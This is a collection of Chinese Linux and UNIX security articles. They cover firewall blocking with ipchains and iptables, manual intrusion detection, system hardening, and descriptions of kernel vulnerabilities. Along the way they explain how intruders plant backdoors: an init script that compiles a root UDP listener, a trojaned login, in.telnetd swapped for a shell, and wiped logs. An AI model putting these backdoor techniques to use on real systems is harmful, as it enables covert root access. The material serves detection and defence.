-A input -p udp -s 0/0 -d 0/0 0:1023 -j REJECT

-A input -p udp -s 0/0 -d 0/0 2049 -j REJECT

-A input -p tcp -s 0/0 -d 0/0 6000:6009 -y -j REJECT

-A input -p tcp -s 0/0 -d 0/0 7100 -y -j REJECT

如果/etc/sysconfig/ipchains文件不存在,可以用上述内容创建之。创建之后,启动ipchains服:

/etc/init.d/ipchains start

用netstat命令发现攻击来源

假如说黑客攻击的是Web 80端口,察看连接80端口的客户端IP和端口,命令如下:

netstat -an -t tcp | grep ":80" | grep ESTABLISHED | awk '{printf "%s %s\n",$5,$6}' | sort

输出:

161.2.8.9:123 FIN_WAIT2

161.2.8.9:124 FIN_WAIT2

61.233.85.253:23656 FIN_WAIT2

...

第一栏是客户机IP和端口,第二栏是连接状态。如果来自同一IP的连接很多(超过50个),而且都是连续端口,就很可能是攻击。如果只希望察看建立的连接,用命令:

netstat -an -t tcp | grep ":80" | grep ESTABLISHED | awk '{printf "%s %s\n",$5,$6}' | sort

用Ipchains阻断攻击来源

用ipchains阻断攻击来源,有两种方法。一种是加入到/etc/sysconfig/ipchains里,然后重启动ipchains服务。另一种是直接用ipchains命令加。屏蔽之后,可能还需要重新启动被攻击的服务,是已经建立的攻击连接失效。

加入/etc/sysconfig/ipchains

假定要阻止的是218.202.8.151到80的连接,编辑/etc/sysconfig/ipchains文件,在:output ACCEPT行下面加入:

-A input -s 218.202.8.151 -d 0/0 http -y -j REJECT

保存修改,重新启动ipchains:

/etc/init.d/ipchains restart

如果要阻止的是218.202.8的整个网段,加入:

-A input -s 218.202.8.0/255.255.255.0 -d 0/0 http -y -j REJECT

直接用命令行

加入/etc/sysconfig/ipchains文件并重起ipchains的方法,比较慢,而且在ipchains重起的瞬间,可能会有部分连接钻进来。最方便的方法是直接用ipchains命令。假定要阻止的是218.202.8.151到80的连接,命令:

ipchains -I input 1 -p tcp -s 218.202.8.151 -d 0/0 http -y -j REJECT

如果要阻止的是218.202.8的整个网段,命令:

ipchains -I input 1 -p tcp -s 218.202.8.0/255.255.255.0 -d 0/0 http -y -j REJECT

其中,-I的意思是插入,input是规则连,1是指加入到第一个。

您可以编辑一个shell脚本,更方便地做这件事,命令:

vi blockit

内容:

#!/bin/sh

if [ ! -z "$1" ] ; then

echo "Blocking: $1"

ipchains -I input 1 -p tcp -s "$1" -d 0/0 http -y -j REJECT

else

echo "which ip to block?"

fi

保存,然后:

chmod 700 blockit

使用方法:

./blockit 218.202.8.151

./blockit 218.202.8.0/255.255.255.0

上述命令行方法所建立的规则,在重起之后会失效,您可以用ipchains-save命令打印规则:

ipchains-save

输出:

:input ACCEPT

:forward ACCEPT

:output ACCEPT

Saving `input'.

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 -i lo -j ACCEPT

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 110:110 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 80:80 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 22:22 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 88:88 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 89:89 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 90:90 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 91:91 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 8180:8180 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 443:443 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 21:21 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 25:25 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 22:22 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 53:53 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 9095:9095 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 8007:8007 -p 6 -j ACCEPT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 53:53 -p 17 -j ACCEPT

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 0:1023 -p 6 -j REJECT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 2049:2049 -p 6 -j REJECT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 0:1023 -p 17 -j REJECT

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 2049:2049 -p 17 -j REJECT

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 6000:6009 -p 6 -j REJECT -y

-A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 7100:7100 -p 6 -j REJECT -y

您需要把其中的"Saving `input'."去掉,然后把其他内容保存到/etc/sysconfig/ipchains文件,这样,下次重起之后,建立的规则能够重新生效。

3. 如果使用Iptables

RH 8.0以上开始启用iptables替代ipchains,两者非常类似,也有差别的地方。

启用Iptables

如果/etc/sysconfig/下没有iptables文件,可以创建:

# Firewall configuration written by lokkit

# Manual customization of this file is not recommended.

# Note: ifup-post will punch the current nameservers through the

# firewall; such entries will *not* be listed here.

*filter

:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

:RH-Lokkit-0-50-INPUT - [0:0]

-A INPUT -j RH-Lokkit-0-50-INPUT

-A RH-Lokkit-0-50-INPUT -i lo -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport ftp -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport ssh -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport http -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport smtp -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport pop3 -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport mysql -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 2001 -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport domain -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p udp -m udp --dport domain -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 0:1023 --syn -j REJECT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 2049 --syn -j REJECT

-A RH-Lokkit-0-50-INPUT -p udp -m udp --dport 0:1023 -j REJECT

-A RH-Lokkit-0-50-INPUT -p udp -m udp --dport 2049 -j REJECT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 6000:6009 --syn -j REJECT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 7100 --syn -j REJECT

COMMIT

以上配置允许了ftp, ssh, http, smtp, pop3, mysql, 2001(Prim@Hosting ACA端口),domain端口。

启动Iptables

/etc/init.d/iptables start

设置iptables为自动启动

chkconfig --level 2345 iptables on

用Iptables屏蔽IP

iptables -I RH-Lokkit-0-50-INPUT 1 -p tcp -m tcp -s 213.8.166.227

--dport 80 --syn -j REJECT

注意到,和ipchains的区别是:

-I 后面跟的规则名称的参数和ipchains不同,不是统一的input,而是在/etc/sysconfig

/iptables里定义的那个。多了-m tcp,指定端口的参数是--dport 80。多了--syn参数,可以自动检测sync攻击。

使用Iptables禁止ping:

-A INPUT -p icmp -m icmp --icmp-type 8 -m limit --limit 6/min --limit-burst 2 -j

ACCEPT-A INPUT -p icmp -m icmp --icmp-type 8 -j REJECT --reject-with icmp-port-unreachable

系统安全防范之Linux下简单的入侵检测

作者:学无止境 来源:黑客基地

总的来说,要判断主机是否正在或者已经遭受了攻击,需要以下几个步骤。

1、终结非授权用户。

2、找出并关闭非授权进程。

3、分析日志文件,寻找入侵者曾经试图入侵系统的蛛丝马迹。

4、检查系统文件是否有潜在受损情况。

接下来说说具体操作。

1、首先以root登录到tty下,用

root@mysun:~# w

14:14:10 up 43 days, 4:43, 1 user, load average: 0.13, 0.08, 0.04

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

lyychee pts/2 54.107.130.61.di 14:14 0.00s 0.01s 0.00s sshd: lyychee [priv]

把所有当前登录到系统的用户列出来,可以根据各用户的用户名以及用户登录的源地址和他们正在运行的进程来判断他们是否为非法用户,

2、如果一旦发现有可疑用户,我们可以马上把它锁住

root@mysun:~# passwd -l username

3、last命令是另外一个可以用来查找非授权用户登录事件的工具

lyychee pts/2 54.107.130.61.di Mon May 22 14:14 still logged in

lyychee pts/2 51.107.130.61.di Thu May 18 18:36 - 18:42 (00:05)

lyychee pts/2 61.130.107.51 Tue May 16 14:21 - 14:39 (00:18)

root pts/2 61.130.107.58 Sat May 13 15:40 - 15:43 (00:02)

lyychee pts/2 210.32.178.253 Fri May 12 00:53 - 01:16 (00:23)

root pts/2 58.107.130.61.di Wed May 10 15:33 - 15:35 (00:01)

root pts/2 61.130.107.58 Tue May 9 14:58 - 15:07 (00:08)

root pts/2 59.78.34.62 Sun May 7 07:40 - 07:45 (00:05)

lyychee pts/2 59.78.34.62 Sat May 6 23:50 - 00:27 (00:37)

lyychee pts/2 222.64.24.144 Sat May 6 10:56 - 10:56 (00:00)

root pts/2 192.168.0.111 Sat May 6 00:01 - 00:02 (00:01)

lyychee pts/2 222.64.22.144 Thu May 4 12:41 - 12:43 (00:0

root pts/2 59.78.34.62 Tue May 2 06:59 - 07:00 (00:00)

last命令输入的信息来自/var/log/wtmp。这个文件详细地记录着每个系统用户的访问活动。但是有经验的入侵者往往会删掉/var/log/wtmp以清除自己非法行为的证据,但是这种清除行为还是会露出蛛丝马迹:在日志文件里留下一个没有退出操作与之对应的登录操作(因为在你删除wtmp的时候,你的登录记录就没有了,但是你待会儿登出,系统还是会把你记下来),不过再高明一点就用at或者cron等自己登出之后再删文件。(但是这种方法也还是可以查,总之linux没有一种操作是最强的,强到没有纰漏。就像古龙的小说一样,没有一个人是天下第一。这样看起来才有劲)

4、善于使用ps -aux跟netstat,这里有一个故事,曾经在一台被黑过的主机上,有人在/usr/lib里发现了一个貌似无害的文件,但在随后的调查中发现系统上有个后门,系统管理员发现主机重新启动后不久,就会有一个明为sndme的进程莫名其妙地开始运行,在执行了

root@mysun:~# netstat -ap

之后发现了这么一条记录

udp 0 0 *:32145 *:* LISTEN 1118/sndme

这说明一个进程正在UDP端口32145上监听什么。但是这个进程究竟是怎么起来的呢?

后来发现就是在/usr/lib里的一个文本文件搞的鬼,在系统init的时候,有一个脚本,做了一件很天才的事情,

a:首先,传见了一个名为/var/sndtmp的目录

b:再把这个文本文件复制到那,并mv成snd.Z

c:执行uncompress snd.Z

d:运行sh snd命令把解压得到的snd文件当作一个shell脚本来执行,这个脚本将提取出一个snd.c的文件

e:用gcc -o sndme snd.c对其进行编译,

f:把文件ln到/bin/sndme

g:执行之

h:再把刚刚创建,解压,编译的文件夹、文件统统都删除掉

sndme进程在等待一条来自32145端口的UDP消息,在接收到消息的时候,它将在系统上打开一个具备root权限的后门,狠啊。

5、/var/log/messages文件是一个系统信息源,如果在里面有连续登录失败事件的记录,往往就预示着有人在试图入侵这台主机。

我们就可以通过grep "fail"跟"repeat"这两个关键字来追踪:

root@mysun:~# grep fail /var/log/messages

root@mysun:~# grep repeat /var/log/messages

6、检查文件系统的完好性,在redhat或者suse的系统中我们可以很方便地实现这一点

root@mysun:~# rpm -Va > /tmp/rpmVa.log

这条命令将以一个文件的形式把安装到系统上的所有rpm包是否被改变输出成一份清单,清单中的标记含义如下:

S 文件长度发生了变化

M 文件的访问模式(包括权限和文件类型)发生了变化

5 MD5校验和发生了变化

D 设备节点的属性发生了变化

L 文件的符号链接发生了变化

U 文件/子目录/设备节点的owner发生了变化

G 文件/子目录/设备节点的group发生了变化

T 文件最后一次的修改时间发生了变化

比如当你看到下面这样的输出时,就应该采取行动了:

. M . . . . . . /usr/write,就说明wirte的可执行文件被篡改了,最简单的方法就是在确保其他安全工作已经补救好了的情况下重装该rpm

root@mysun:~# rpm -qf /usr/write // 找到文件所对应的rpm

root@mysun:~# rpm -Uvh --nodeps --force XXX.rpm // 强制无关联安装

7、另外硬件故障也不容忽视,曾经有一台主机,在用户符合没有上去的情况下性能下降了。于是就有人怀疑是遭到了外部攻击,于是就买了台防火墙,并且做了详细的入侵检测,没有发现任何不妥,最后发现是硬件出了故障。 我们可以通过

root@mysun:~# grep error /var/log/messages

来查看关于硬件错误的记录。

系统安全防护之UNIX下入侵检测方法

作者:langren123 来源:黑客基地

因为UNIX系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法

以LINUX和solaris为例:

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

输入命令

awk –F:’$3==0 {print $1}’ /etc/passwd

来检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。顺便再检查一下系统里有没有空口令帐户:

awk –F: ‘length($2)==0 {print $1}’ /etc/shadow

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd。Inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,一会我们再讨论这种方法。接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:

cat /etc/inetd.conf | grep –v “^#”

输出的信息就是你这台机器所开启的远程服务。一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。

许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:

md5sum –b 使用二进制方式阅读文件;

md5sum –c 逆向检查MD5签名;

md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:

telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序。说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

8、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较麻烦的,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程,当然目录也可能不是隐藏的。

手工的入侵检测行为对于系统安全来说只是治标而不治本,多半还是依靠管理员的技巧和经验来增强系统的安全性,没有,也不可能形成真正的安全体系,虽然好过没有,可以检测和追踪到某些入侵行为,但如果碰上同样精通系统的入侵者就很难抓住踪迹了。搭建真正的安全体系需要配合使用入侵检测系统,一个优秀的入侵检测系统辅以系统管理员的技巧和经验可以形成真正的安全体系,有效判断和切断入侵行为,真正保护主机、资料。

操作系统安全防护技巧介绍之Linux篇

操作系统安全防护技巧介绍之Linux篇

作者:学无止境 来源:黑客基地

系统安全性对于用户来说至关重要,Linux用户也不例外。笔者就自己使用Linux的经历,总结了一些增强Linux安全防护的小窍门,在此介绍给大家。

1.为LILO增加开机口令

在/etc/lilo.conf文件中增加选项,从而使LILO启动时要求输入口令,以加强系统的安全性。具体设置如下:

boot=/dev/hda

map=/boot/map

install=/boot/boot.b

time-out=60 #等待1分钟

prompt

default=linux

password=

#口令设置

image=/boot/vmlinuz-2.2.14-12

label=linux

initrd=/boot/initrd-2.2.14-12.img

root=/dev/hda6

read-only

此时需注意,由于在LILO中口令是以明码方式存放的,所以还需要将 lilo.conf的文件属性设置为只有root可以读写。

# chmod 600 /etc/lilo.conf

当然,还需要进行如下设置,使lilo.conf的修改生效。

# /sbin/lilo -v

2.设置口令最小长度和

最短使用时间

口令是系统中认证用户的主要手段,系统安装时默认的口令最小长度通常为5,但为保证口令不易被猜测攻击,可增加口令的最小长度,至少等于8。为此,需修改文件/etc/login.defs中参数PASS_MIN_LEN。同时应限制口令使用时间,保证定期更换口令,建议修改参数PASS_MIN_DAYS。

3.用户超时注销

如果用户离开时忘记注销账户,则可能给系统安全带来隐患。可修改/etc/profile文件,保证账户在一段时间没有操作后,自动从系统注销。

编辑文件/etc/profile,在“HISTFILESIZE=”行的下一行增加如下一行:

TMOUT=600

则所有用户将在10分钟无操作后自动注销。

4.禁止访问重要文件

对于系统中的某些关键性文件如inetd.conf、services和lilo.conf等可修改其属性,防止意外修改和被普通用户查看。

首先改变文件属性为600:

# chmod 600 /etc/inetd.conf

保证文件的属主为root,然后还可以将其设置为不能改变:

# chattr +i /etc/inetd.conf

这样,对该文件的任何改变都将被禁止。

只有root重新设置复位标志后才能进行修改:

# chattr -i /etc/inetd.conf

5.允许和禁止远程访问

在Linux中可通过/etc/hosts.allow 和/etc/hosts.deny 这2个文件允许和禁止远程主机对本地服务的访问。通常的做法是:

(1)编辑hosts.deny文件,加入下列行:

# Deny access to everyone.

ALL: ALL@ALL

则所有服务对所有外部主机禁止,除非由hosts.allow文件指明允许。

(2)编辑hosts.allow 文件,可加入下列行:

#Just an example:

ftp: 202.84.17.11 xinhuanet.com

则将允许IP地址为202.84.17.11和主机名为xinhuanet.com的机器作为Client访问FTP服务。

(3)设置完成后,可用tcpdchk检查设置是否正确。

6.限制Shell命令记录大小

默认情况下,bash shell会在文件$HOME/.bash_history中存放多达500条命令记录(根据具体的系统不同,默认记录条数不同)。系统中每个用户的主目录下都有一个这样的文件。在此笔者强烈建议限制该文件的大小。

您可以编辑/etc/profile文件,修改其中的选项如下:HISTFILESIZE=30或HISTSIZE=30。

7.注销时删除命令记录

编辑/etc/skel/.bash_logout文件,增加如下行:

rm -f $HOME/.bash_history

这样,系统中的所有用户在注销时都会删除其命令记录。

如果只需要针对某个特定用户,如root用户进行设置,则可只在该用户的主目录下修改/$HOME/.bash_history 文件,增加相同的一行即可。

8.禁止不必要的SUID程序

SUID可以使普通用户以root权限执行某个程序,因此应严格控制系统中的此类程序。

找出root所属的带s位的程序:

# find / -type f \( -perm -04000 -o -perm -02000 \) -print |less

禁止其中不必要的程序:

# chmod a-s program_name

9.检查开机时显示的信息

Linux系统启动时,屏幕上会滚过一大串开机信息。如果开机时发现有问题,需要在系统启动后进行检查,可输入下列命令:

#dmesg >bootmessage

该命令将把开机时显示的信息重定向输出到一个文件bootmessage中。

10.磁盘空间的维护

经常检查磁盘空间对维护Linux的文件系统非常必要。而Linux中对磁盘空间维护使用最多的命令就是df和du了。

Df命令主要检查文件系统的使用情况,通常的用法是:

#df -k

Filesystem 1k-blocks Used Available Use% Mounted on

/dev/hda3 1967156 1797786 67688 96% /

Du命令检查文件、目录和子目录占用磁盘空间的情况,通常带-s选项使用,只显示需检查目录占用磁盘空间的总计,而不会显示下面的子目录占用磁盘的情况。

% du -s /usr/X11R6/*

34490 /usr/X11R6/bin

1 /usr/X11R6/doc

3354 /usr/X11R6/include

Linux作为自由、开放的象征,越来越受到广大用户的关注,但真正使用的个人用户较少,主要是因为它的系统特性,及周边的软件开发商较少,让它只在服务器系统领域有所普及。它的安全防护,笔者稍做介绍:

1.禁止访问重要文件

Linux不像Windows,它不但公布源代码,其核心程序还可以根据用户需要任意修改,而对于系统中的某些关键性文件如inetd.conf和lilo.conf等,同样可以被(远程登录用户)修改,为了保护系统安全,可以事先修改其属性,以防止非法的入侵和修改。

首先进入Linux的命令界面,输入指令:

# chmod 600 /etc/inetd.conf

改变文件属性为600。

再输入指令:

# chattr +i /etc/inetd.conf

保证文件的属主为root 。

这样,对该文件的任何改变都将被禁止。只有再通过指令:

# chattr -i /etc/inetd.conf

root重新设置复位标志后才能进行修改。

2.禁止远程访问

在Linux中可通过/etc/hosts.allow 和/etc/hosts.deny 这2个文件允许和禁止远程主机对本地服务的访问。方法是:进入Linux的命令界面,调出hosts.deny文件,加入以下指令:

# Deny access to everyone.

ALL: ALL@ALL

所有服务对所有外部主机禁止,除非由hosts.allow文件指明允许。

在hosts.allow 文件内,加入允许访问的主机方法如下:

调出hosts.allow文件,加入以下指令:

#Just an example:

http: 192.168.1.8 yanghao.com

意思是允许IP地址为192.168.18和主机名为yanghao.com的机器作为客户机访问http服务。

系统的安全防护方式,笔者就介绍到这里,不可能面面俱到。使用Windows XP及其他的“NT核心”系统的用户应该更注意安全问题,在使用XP时,最好将自带的防火墙打开(Microsoft在新发售的Windows XP中也将防火墙设置为默认打开)。任何系统的用户都应具备一定的安全知识,如:不轻易泄漏自己的网络和系统信息;不执行来历不明的程序等。安全的系统环境要靠自己打造。

深入浅出 分析Linux系统内核漏洞问题

作者:Trudy 来源:黑客基地

与Windows相比,Linux被认为具有更好的安全性和其他扩展性能。这些特性使得Linux在操作系统领域异军突起,得到越来越多的重视。随着Linux应用量的增加,其安全性也逐渐受到了公众甚或黑客的关注。那么,Linux是否真的如其支持厂商们所宣称的那样安全呢?

Linux内核精短、稳定性高、可扩展性好、硬件需求低、免费、网络功能丰富、适用于多种cpu等特性,使之在操作系统领域异军突起。其独特的魅力使它不仅在pc机上占据一定的份额,而且越来越多地被使用在各种嵌入式设备中,并被当作专业的路由器,防火墙,或者高端的服务器OS来使用。各种类型的Linux发行版本也如雨后春笋般冒了出来,国内更是掀起了Linux的使用热潮,很多政府部门因安全需要也被要求使用Linux。正是因为Linux被越来越多地使用,其安全性也渐渐受到了公众的关注,当然,也更多地受到了黑客的关注。通常,我们讨论Linux系统安全都是从Linux安全配置的角度或者Linux的安全特性等方面来讨论的,而这一次我们转换一下视角,从Linux系统中存在的漏洞与这些漏洞产生的影响来讨论Linux的安全性。

首先来说明一下这次我们讨论Linux系统安全的范围,其实通常我们所说的Linux是指GNU/Linux系统,Linux是系统中使用的操作系统内核。这一次我们重点从Linux系统内核中存在的几类非常有特点的漏洞来讨论Linux系统的安全性。

权限提升类漏洞

一般来说,利用系统上一些程序的逻辑缺陷或缓冲区溢出的手段,攻击者很容易在本地获得Linux服务器上管理员权限root;在一些远程的情况下,攻击者会利用一些以root身份执行的有缺陷的系统守护进程来取得root权限,或利用有缺陷的服务进程漏洞来取得普通用户权限用以远程登录服务器。目前很多Linux服务器都用关闭各种不需要的服务和进程的方式来提升自身的安全性,但是只要这个服务器上运行着某些服务,攻击者就可以找到权限提升的途径。下面是一个比较新的导致权限提升的漏洞。

do_brk()边界检查不充分漏洞在2003年9月份被Linux内核开发人员发现,并在9月底发布的Linux kernel 2.6.0-test6中对其进行了修补。但是Linux内核开发人员并没有意识到此漏洞的威胁,所以没有做任何通报,一些安全专家与黑客却看到了此漏洞蕴涵的巨大威力。在2003年11月黑客利用rsync中一个未公开的堆溢出与此漏洞配合,成功地攻击了多台Debian与Gentoo Linux的服务器。

下面让我们简单描述一下该漏洞。该漏洞被发现于brk系统调用中。brk系统调用可以对用户进程的堆的大小进行操作,使堆扩展或者缩小。而brk内部就是直接使用do_brk()函数来做具体的操作, do_brk()函数在调整进程堆的大小时既没有对参数len进行任何检查(不检查大小也不检查正负),也没有对addr+len是否超过TASK_SIZE做检查。这样我们就可以向它提交任意大小的参数len,使用户进程的大小任意改变以至可以超过TASK_SIZE的限制,使系统认为内核范围的内存空间也是可以被用户访问的,这样的话普通用户就可以访问到内核的内存区域。通过一定的操作,攻击者就可以获得管理员权限。这个漏洞极其危险,利用这个漏洞可以使攻击者直接对内核区域操作,可以绕过很多Linux系统下的安全保护模块。

此漏洞的发现提出了一种新的漏洞概念,即通过扩展用户的内存空间到系统内核的内存空间来提升权限。当发现这种漏洞时,通过研究我们就认为内核中一定还会存在类似的漏洞,果然几个月后黑客们又在Linux内核中发现与brk相似的漏洞。通过这次成功的预测,更证实了对这种新型的概念型漏洞进行研究很有助于安全人员在系统中发现新的漏洞。

拒绝服务类漏洞

拒绝服务攻击是目前比较流行的攻击方式,它并不取得服务器权限,而是使服务器崩溃或失去响应。对Linux的拒绝服务大多数都无须登录即可对系统发起拒绝服务攻击,使系统或相关的应用程序崩溃或失去响应能力,这种方式属于利用系统本身漏洞或其守护进程缺陷及不正确设置进行攻击。

另外一种情况,攻击者登录到Linux系统后,利用这类漏洞,也可以使系统本身或应用程序崩溃。这种漏洞主要由程序对意外情况的处理失误引起,如写临时文件之前不检查文件是否存在,盲目跟随链接等。

下面,我们简单描述一下Linux在处理intel IA386 CPU中的寄存器时发生错误而产生的拒绝服务漏洞。该漏洞是因为IA386多媒体指令使用的寄存器MXCSR的特性导致的。由于IA386 CPU规定MXCSR寄存器的高16位不能有任何位被置位,否则CPU就会报错导致系统崩溃。为了保证系统正常运转,在linux系统中有一段代码专门对MXCSR的这个特性作处理,而这一段代码在特定的情况下会出现错误,导致MXCSR中的高16位没有被清零,使系统崩溃。如果攻击者制造了这种“极限”的内存情况就会对系统产生DoS效果。

